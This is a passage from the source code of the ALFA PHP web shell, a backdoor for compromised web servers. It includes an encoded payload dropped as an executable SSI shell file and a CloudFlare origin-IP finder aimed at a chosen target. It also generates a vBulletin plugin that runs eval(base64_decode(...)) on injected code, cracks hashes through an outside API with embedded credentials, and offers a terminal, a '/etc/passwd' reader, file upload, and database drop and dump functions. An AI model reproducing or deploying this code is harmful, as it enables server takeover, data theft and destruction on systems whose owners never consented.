t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw==';
    @__write_file('alfa_ssi.shtml', __get_resource($code));
    @chmod("alfa_ssi.shtml", 0755);
    echo AlfaiFrameCreator('alfa_shtml/alfa_ssi.shtml');
    echo "</div>";
    alfafooter();
}
function alfacloudflare()
{
    alfahead();
    AlfaNum(8, 9, 10, 7, 6, 5, 4, 3);
    echo "<div class=header><center><br><div class='txtfont_header'>| Cloud Flare ByPasser |</div><br><form action='' onsubmit=\"g('cloudflare',null,this.url.value,'>>'); return false;\" method='post'>\r\n<p><div class='txtfont'>Target:</div> <input type='text' size=30 name='url' style='text-align:center;' placeholder=\"target.com\"> <input type='submit' name='go' value=' ' /></p></form></center>";
    if ($_POST['alfa2'] && $_POST['alfa2'] == '>>') {
        $url = $_POST['alfa1'];
        if (!preg_match('/^(https?):\\/\\/(w{3}|w3)\\./i', $url)) {
            $url = preg_replace('/^(https?):\\/\\//', '', $url);
            $url = "http://www." . $url;
        }
        $headers = @get_headers($url, 1);
        $server = $headers['Server'];
        $subs = array('owa.', '2tty.', 'm.', 'gw.', 'mx1.', 'store.', '1', '2', 'vb.', 'news.', 'download.', 'video', 'cpanel.', 'ftp.', 'server1.', 'cdn.', 'cdn2.', 'ns.', 'ns3.', 'mail.', 'webmail.', 'direct.', 'direct-connect.', 'record.', 'ssl.', 'dns.', 'help.', 'blog.', 'irc.', 'forum.', 'dl.', 'my.', 'cp.', 'portal.', 'kb.', 'support.', 'search.', 'docs.', 'files.', 'accounts.', 'secure.', 'register.', 'apps.', 'beta.', 'demo.', 'smtp.', 'ns2.', 'ns1.', 'server.', 'shop.', 'host.', 'web.', 'cloud.', 'api.', 'exchange.', 'app.', 'vps.', 'owa.', 'sat.', 'bbs.', 'movie.', 'music.', 'art.', 'fusion.', 'maps.', 'forums.', 'acc.', 'cc.', 'dev.', 'ww42.', 'wiki.', 'clients.', 'client.', 'books.', 'answers.', 'service.', 'groups.', 'images.', 'upload.', 'up.', 'tube.', 'users.', 'admin.', 'administrator.', 'private.', 'design.', 'whmcs.', 'wp.', 'wordpress.', 'joomla.', 'vbulletin.', 'test.', 'developer.', 'panel.', 'contact.');
        if (preg_match('/^(https?):\\/\\/(w{3}|w3)\\./i', $url, $matches)) {
            if ($matches[2] != 'www') {
                $url = preg_replace('/^(https?):\\/\\//', '', $url);
            } else {
                $url = explode($matches[0], $url);
                $url = $url[1];
            }
        }
        if (is_array($server)) {
            $server = $server[0];
        }
        echo __pre();
        if (preg_match('/cloudflare/i', $server)) {
            echo "\n[+] CloudFlare detected: {$server}\n<br>";
        } else {
            echo "\n[+] CloudFlare wasn't detected, proceeding anyway.\n";
        }
        echo '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . "\n\n<br><br>";
        echo "[+] Searching for more IP addresses.\n\n<br><br>";
        for ($x = 0; $x < count($subs); $x++) {
            $site = $subs[$x] . $url;
            $ip = is_ipv4(gethostbyname($site));
            if ($ip == '(Null)') {
                continue;
            }
            echo "Trying {$site}: {$ip}\n<br>";
        }
        echo "\n[+] Finished.\n<br>";
    }
    echo "</div>";
    alfafooter();
}
function is_ipv4($ip)
{
    return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
}
function __alert($s)
{
    echo '<center>' . __pre() . $s . '</center>';
}
function create_table($data)
{
    echo "<table border=\"1\">";
    foreach ($data as $key => $val) {
        $array = array();
        foreach ($val as $k => $v) {
            $array[$k] = $v;
        }
        echo "<tr><td><div class='tbltxt'>" . $array['tdName'] . "</div></td><td><input type='text' id='" . $array['id'] . "' name='" . $array['inputName'] . "' " . ($array['placeholder'] ? 'placeholder' : 'value') . "='" . $array['inputValue'] . "' size='" . $array['inputSize'] . "' " . ($array['disabled'] ? 'disabled' : '') . "></td></tr>";
    }
    echo "</table>";
}
function alfaphp2xml()
{
    alfahead();
    AlfaNum(8, 9, 10, 7, 6, 5, 4, 3);
    echo "<div class=header><center><p><div class='txtfont_header'>| Shell For vBulletin |</div></p><form onsubmit=\"g('php2xml',null,this.code.value,'>>'); return false;\" method='post'>\r\n<p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert your shell code\"></textarea><br/><br/>\r\n<input type='submit' name='go' value=' ' /></p></form></center>";
    if ($_POST['alfa2'] && $_POST['alfa2'] == '>>') {
        echo __pre() . "<p><center><textarea rows='10' name='users' cols='80'>";
        echo '<?php xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\'PHP_SELF\'],"subscriptions.php")){eval(base64_decode(\'' . __ZW5jb2Rlcg($_POST['alfa1']) . '\'));exit;}]]></phpcode></plugin></plugins>';
        echo "</textarea></center></p>";
    }
    echo "</center></div>";
    alfafooter();
}
function alfacpcrack()
{
    alfahead();
    echo "<div class=header><center><p><div class=\"txtfont_header\">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick=\"g('cpcrack',null,'dec')\">| DeCrypter | </a><a href=javascript:void(0) onclick=\"g('cpcrack',null,'analyzer')\">| Hash Analyzer | </a></h3></center>";
    if ($_POST['alfa1'] == 'dec') {
        $algorithms = array('md5' => 'MD5', 'md4' => 'MD4', 'sha1' => 'SHA1', 'sha256' => 'SHA256', 'sha384' => 'SHA384', 'sha512' => 'SHA512', 'ntlm' => 'NTLM');
        echo "<center><div class=\"txtfont_header\">| DeCrypter |</div><br><br>\r\n<form onsubmit=\"g('cpcrack',null,'dec',this.md5.value,'>>',this.alg.value); return false;\"><div class=\"txtfont\">Decrypt Method:</div> <select name=\"alg\" style=\"width:100px;\">";
        foreach ($algorithms as $key => $val) {
            echo '<option value="' . $key . '">' . $val . '</option>';
        }
        echo "</select><input type=\"text\" placeholder=\"Hash\" name=\"md5\" size=\"60\" id=\"text\" /> <input type=\"submit\" value=\" \" name=\"go\" /></form></center><br>";
        if ($_POST['alfa3'] == '>>') {
            $hash = $_POST['alfa2'];
            if (!empty($hash)) {
                $hash_type = $_POST['alfa4'];
                $email = "solevisible@gmail.com";
                $code = "7b9fa79f92c3cd96";
                $target = "https://md5decrypt.net/Api/api.php?hash=" . $hash . "&hash_type=" . $hash_type . "&email=" . $email . "&code=" . $code;
                $resp = @file_get_contents($target);
                if ($resp == '') {
                    $get = new AlfaCURL();
                    $resp = $get->Send($target);
                }
                echo __pre() . '<center>';
                switch ($resp) {
                    case 'CODE ERREUR : 001':
                        echo "<b><font color='red'>You exceeded the 400 allowed request per day</font></b>";
                        break;
                    case 'CODE ERREUR : 003':
                        echo "<b><font color='red'>Your request includes more than 400 hashes.</font></b>";
                        break;
                    case 'CODE ERREUR : 004':
                        echo "<b><font color='red'>The type of hash you provide in the argument hash_type doesn't seem to be valid</font></b>";
                        break;
                    case 'CODE ERREUR : 005':
                        echo "<b><font color='red'>The hash you provide doesn't seem to match with the type of hash you set.</font></b>";
                        break;
                }
                if (substr($resp, 0, 4) != 'CODE' && $resp != '') {
                    echo "<b>Result: <font color='green'>" . $resp . "</font></b>";
                } elseif (substr($resp, 0, 4) != 'CODE') {
                    echo "<font color='red'>NoT Found</font><br />";
                }
                echo "</center>";
            }
        }
    }
    if ($_POST['alfa1'] == 'analyzer') {
        echo "<center><p><div class=\"txtfont_header\">| Hash Analyzer |</div></p>\r\n<form onsubmit=\"g('cpcrack',null,'analyzer',this.hash.value,'>>');return false;\">\r\n<div class=\"txtfont\">Hash: </div> <input type=\"text\" placeholder=\"Hash\" name=\"hash\" size=\"60\" id=\"text\" /> <input type=\"submit\" value=\" \" name=\"go\" /></form></center><br>";
        if ($_POST['alfa3'] == '>>') {
            $hash = $_POST['alfa2'];
            if (!empty($hash)) {
                $curl = new AlfaCURL();
                $resp = $curl->Send("https://md5decrypt.net/en/HashFinder/", "post", "hash={$hash}&crypt=Search");
                echo __pre() . '<center>';
                if (preg_match('#<fieldset class="trouve">(.*?)</fieldset>#', $resp, $s)) {
                    echo '<font color="green">' . $s[1] . '</font>';
                } else {
                    echo "<font color=\"red\">Not Found...!</font>";
                }
                echo "</center><br>";
            }
        }
    }
    echo "</div>";
    alfafooter();
}
function alfafooter()
{
    if (!isset($_POST['ajax'])) {
        echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >\r\n<tr>\r\n<td width='17%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;\"><span class='footer_text'>Make File : </span><br><input class='dir' type='text' name='f' value=''> <input type='submit' value=' '></form></td>\r\n<td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;\"><span class='footer_text'>Make Dir : </span><br><input class='dir' type='text' name='d' value=' '> <input type='submit' value=' '></form></td>\r\n<td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;\"><span class='footer_text'>Delete : </span><br><input class='dir' type='text' name='del' value=' '> <input type='submit' value=' '></form></td>\r\n<td width='19%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;\"><span class='footer_text'>Chmod : </span><br><input class='dir' type=text name=f value=' '> <input type='submit' value=' '></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan='2'><form onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span class='footer_text'>Change Dir : </span><br><input class='foottable' id='footer_cwd' type='text' name='c' value='" . htmlspecialchars($GLOBALS['cwd']) . "'> <input type='submit' value=' '></form></td>\r\n<td colspan='2'><form onsubmit=\"editor(this.file.value,'view','','','','file');return false;\"><span><span class='footer_text'>Read File : </span></span><br><input class='foottable' type='text' name='file' value='/etc/passwd'> <input type='submit' value=' '></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan='4'><form style='margin-top: 10px;' onsubmit=\"return false;\" autocomplete='off'><span><span class='footer_text'>Execute :</span><br><button onClick='alfaOpenPhpTerminal();return false;' class='foottable alfa_custom_cmd_btn'><img style='width:28px;vertical-align: middle;' src='http://solevisible.com/icons/menu/terminal.svg'> Terminal</button><br></form></td>\r\n</tr>\r\n<tr>\r\n<td colspan='4'><form onsubmit='u(this);return false;' name='footer_form' method='post' ENCTYPE='multipart/form-data'>\r\n<input type='hidden' name='a' value='FilesMAn'>\r\n<input type='hidden' name='c' value='" . $GLOBALS['cwd'] . "'>\r\n<input type='hidden' name='ajax' value='true'>\r\n<input type='hidden' name='alfa1' value='uploadFile'>\r\n<input type='hidden' name='charset' value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n<span class='footer_text'>Upload file: </span><span><button id='addup' onclick='addnewup();return false;'><b>+</b></button></span><p id='pfooterup'><label class='inputfile' for='footerup'><span id='__fnameup'></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id='footerup' class='toolsInp' type='file' name='f[]' onChange='handleup(this,0);' multiple></p><input type='submit' name='submit' value=' '></form><div id='alfa-copyright'><span class='copyright'>[ ./AlfaTeam &copy; 2012-" . date('Y') . " ]</span><br><span><a href='javascript:void(0);' onclick='alert(\"BTC: 1KLty8LUqnqsXkM3Qkvy2Kpv4gLt7Ugcyo\");' style='color: #E91E63;text-decoration: none;'>Donate Us !</a></span> <span style='letter-spacing: 2px;color: #dfff00;'>solevisible[at]gmail.com</span> <span><a style='color: #ff6060;text-decoration: none;' target='_blank' href='https://telegram.me/solevisible'>@solevisible</a></span></div></td>\r\n</tr>\r\n</table>\r\n</div>\r\n\r\n<div id='options_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"options_window\");'></div><div onClick='editorClose(\"options_window\");' class='close-button'></div></div></div><div style='height:100%;' class='content_options_holder'><div class='options_tab'></div><div class='options_content' style='margin-left:14px;margin-right:30px;background:#000;overflow:auto;'></div></div></div></div>\r\n\r\n<div id='database_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'>Sql Manager</div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"database_window\");'></div><div onClick='editorClose(\"database_window\");' class='close-button'></div></div></div><div class='content_options_holder' style='margin-left:14px;margin-right:30px;background:#000;max-height:90%;'><div class='sql-tabs'></div><div class='sql-contents' style='max-height: 85vh;'></div></div></div></div>\r\n\r\n<div id='cgiloader'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"cgiloader\");'></div><div onClick='editorClose(\"cgiloader\");' class='close-button'></div></div></div><div id='cgiframe' style='position:relative;margin-left:14px;margin-right:30px;'><div class='terminal-tabs'></div><div style='height:90%;' class='terminal-contents'></div></div></div></div>\r\n<div id='editor' style='display:none;'><div class='editor-wrapper'><div class='editor-header'><div class='editor-path'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"editor\");'></div><div onClick='editorClose(\"editor\");' class='close-button'></div></div></div><div onclick='historyPanelController(this);' mode='visible' class='history-panel-controller'><<</div><div class='editor-explorer'><div class='hheader'><div class='history-clear' onclick='clearEditorHistory();'>Clear all</div><div class='hheader-text'>History</div><div class='editor-search'><input type='text' style='text-align:center;' id='search-input' placeholder='search'></div></div><div class='history-list'></div></div><div class='editor-modal'><div class='editor-body'><div class='editor-content'><div class='editor-tabs'></div><div class='editor-content-holder'></div></div></div></div></div></div>\r\n<div id='update-content'></div>\r\n<div id='database_window-minimized' onclick='showEditor(\"database_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div class='minimized-text' style='top: 15px;'>Database</div></div></div>\r\n<div id='options_window-minimized' onclick='showEditor(\"options_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 4px;' class='minimized-text'>Options</div></div></div>\r\n<div id='editor-minimized' onclick='showEditor(\"editor\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 2px;' class='minimized-text'>Editor</div></div></div>\r\n<div id='cgiloader-minimized' onclick='showEditor(\"cgiloader\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 12px;' class='minimized-text'>Cgi Shell</div></div></div>\r\n<div id='rightclick_menu'>\r\n  <a target='_blank' href='' name='newtab'><img src=\"http://solevisible.com/icons/menu/newtab.svg\"> Open in new tab</a>\r\n  <a target='_blank' href='' name='link'><img src=\"http://solevisible.com/icons/menu/link.svg\"> Open file directly</a>\r\n  <a href='javascript:void(0);' name='download'><img src=\"http://solevisible.com/icons/menu/download2.svg\"> Download</a>\r\n  <a href='' name='view'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View</a>\r\n  <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='view_archive'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View Archive</a>\r\n  <a href='' name='edit'><img src=\"http://solevisible.com/icons/menu/edit.svg\"> Edit</a>\r\n  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"move\");' ftype='' path='' fname='' href='' href='' name='move'><img src=\"http://solevisible.com/icons/menu/move.svg\"> Move</a>\r\n  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"copy\");' ftype='' path='' fname='' href='' name='copy'><img src=\"http://solevisible.com/icons/menu/copy.svg\"> Copy</a>\r\n  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"rename\");' ftype='' path='' fname='' name='rename'><img src=\"http://solevisible.com/icons/menu/rename.svg\">  Rename</a>\r\n  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"modify\");' ftype='' path='' fname='' name='modify'><img src=\"http://solevisible.com/icons/menu/time.svg\">  Modify</a>\r\n  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"permission\");' name='permission'><img src=\"http://solevisible.com/icons/menu/key.svg\"> Change Permissions</a>\r\n  <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='compress'><img src=\"http://solevisible.com/icons/menu/resize.svg\"> Compress</a>\r\n  <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='extract'><img src=\"http://solevisible.com/icons/menu/increase.svg\"> Extract</a>\r\n  <a href='javascript:void(0);' name='delete'><img src=\"http://solevisible.com/icons/menu/delete.svg\"> Delete</a>\r\n</div>\r\n<div id=\"filesman-tab-full-path\"></div>\r\n<div id='alert-area' class='alert-area'></div>\r\n<div class='cl-popup-fixed' style='display:none;'>\r\n\t<div id='shortcutMenu-holder'>\r\n\t\t<div class='popup-head'></div>\r\n\t\t\t<form autocomplete='off' onSubmit='return false;'>\r\n\t\t\t\t<label class='old-path-lbl'></label>\r\n\t\t\t\t<div style='overflow: hidden;white-space: nowrap;text-overflow: ellipsis;' class='old-path-content'></div>\r\n\t\t\t\t<label style='margin-top:10px;' class='new-filename-lbl'>New file name</label>\r\n\t\t\t\t<input type='text' name='fname'>\r\n\t\t\t\t<div class='perm-table-holder'>\r\n\t\t\t\t\t<table>\r\n\t\t\t\t\t   <tbody>\r\n\t\t\t\t\t      <tr>\r\n\t\t\t\t\t         <td><b>Mode</b></td>\r\n\t\t\t\t\t         <td>User</td>\r\n\t\t\t\t\t         <td>Group</td>\r\n\t\t\t\t\t         <td>World</td>\r\n\t\t\t\t\t      </tr>\r\n\t\t\t\t\t      <tr>\r\n\t\t\t\t\t         <td>Read</td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='ur' value='4' onclick='calcperm();'></td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='gr' value='4' onclick='calcperm();'></td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='wr' value='4' onclick='calcperm();'></td>\r\n\t\t\t\t\t      </tr>\r\n\t\t\t\t\t      <tr>\r\n\t\t\t\t\t         <td>Write</td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='uw' value='2' onclick='calcperm();'></td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='gw' value='2' onclick='calcperm();'></td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='ww' value='2' onclick='calcperm();'></td>\r\n\t\t\t\t\t      </tr>\r\n\t\t\t\t\t      <tr>\r\n\t\t\t\t\t         <td>Execute</td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='ux' value='1' onclick='calcperm();'></td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='gx' value='1' onclick='calcperm();'></td>\r\n\t\t\t\t\t         <td><input type='checkbox' name='wx' value='1' onclick='calcperm();'></td>\r\n\t\t\t\t\t      </tr>\r\n\t\t\t\t\t      <tr>\r\n\t\t\t\t\t         <td>Permission</td>\r\n\t\t\t\t\t         <td><input style='width:60px;' type='text' name='u' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"u\", [\"u\"]);'></td>\r\n\t\t\t\t\t         <td><input style='width:60px;' type='text' name='g' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"g\", [\"g\"]);'></td>\r\n\t\t\t\t\t         <td><input style='width:60px;' type='text' name='w' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"w\", [\"w\"]);'></td>\r\n\t\t\t\t\t      </tr>\r\n\t\t\t\t\t   </tbody>\r\n\t\t\t\t\t</table>\r\n\t\t\t\t</div>\r\n\r\n\t\t\t</form>\r\n\t\t<div class='popup-foot'>\r\n\t\t\t<button style='background: #2b5225;' name='accept' action='' onclick='alfaPopUpDoAction(this);'></button>\r\n\t\t\t<button style='background: #9e2c2c;' onclick='d.querySelector(\".cl-popup-fixed\").style.display=\"none\";'>Cancell</button>\r\n\t\t</div>\r\n\t</div>\r\n</div>";
        ?>
<script>
function alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href='javascript:void(0);' onclick='g(\"FilesTools\",null,\""+s+'","download");\'><span>Download: '+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r='<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="'+a+'" placeholder="Filter Table" target=".cls-'+i+'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';for(var o in e)null!=e[o]&&(r+="<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='"+e[o].name+"'>&nbsp;<a class='db-opt-id' db_target='"+i+"' db_id='"+a+"' href='javascript:void(0);' onclick=\"alfaLoadTableData(this, '"+e[o].name+"')\"><span class='mysql_tables' style='font-weight:unset;'>"+e[o].name+"</span></a>"+(l?" <small><span style='font-weight:unset;' class='mysql_table_count'>("+e[o].count+")</span></small>":"&nbsp;")+"</div></li>");r+='</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="'+a+'" class="db-opt-id" target=".cls-'+i+'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="'+a+'" target=".cls-'+i+'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="'+a+'" class="db-opt-id" db_target="'+i+'" target=".cls-'+i+'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style='padding-left: 50px;'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style='padding-left: 50px;'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="&#x3C;&#x3C;",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML="&#x3E;&#x3E;",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border='1'><tr style='text-align: left;background-color: 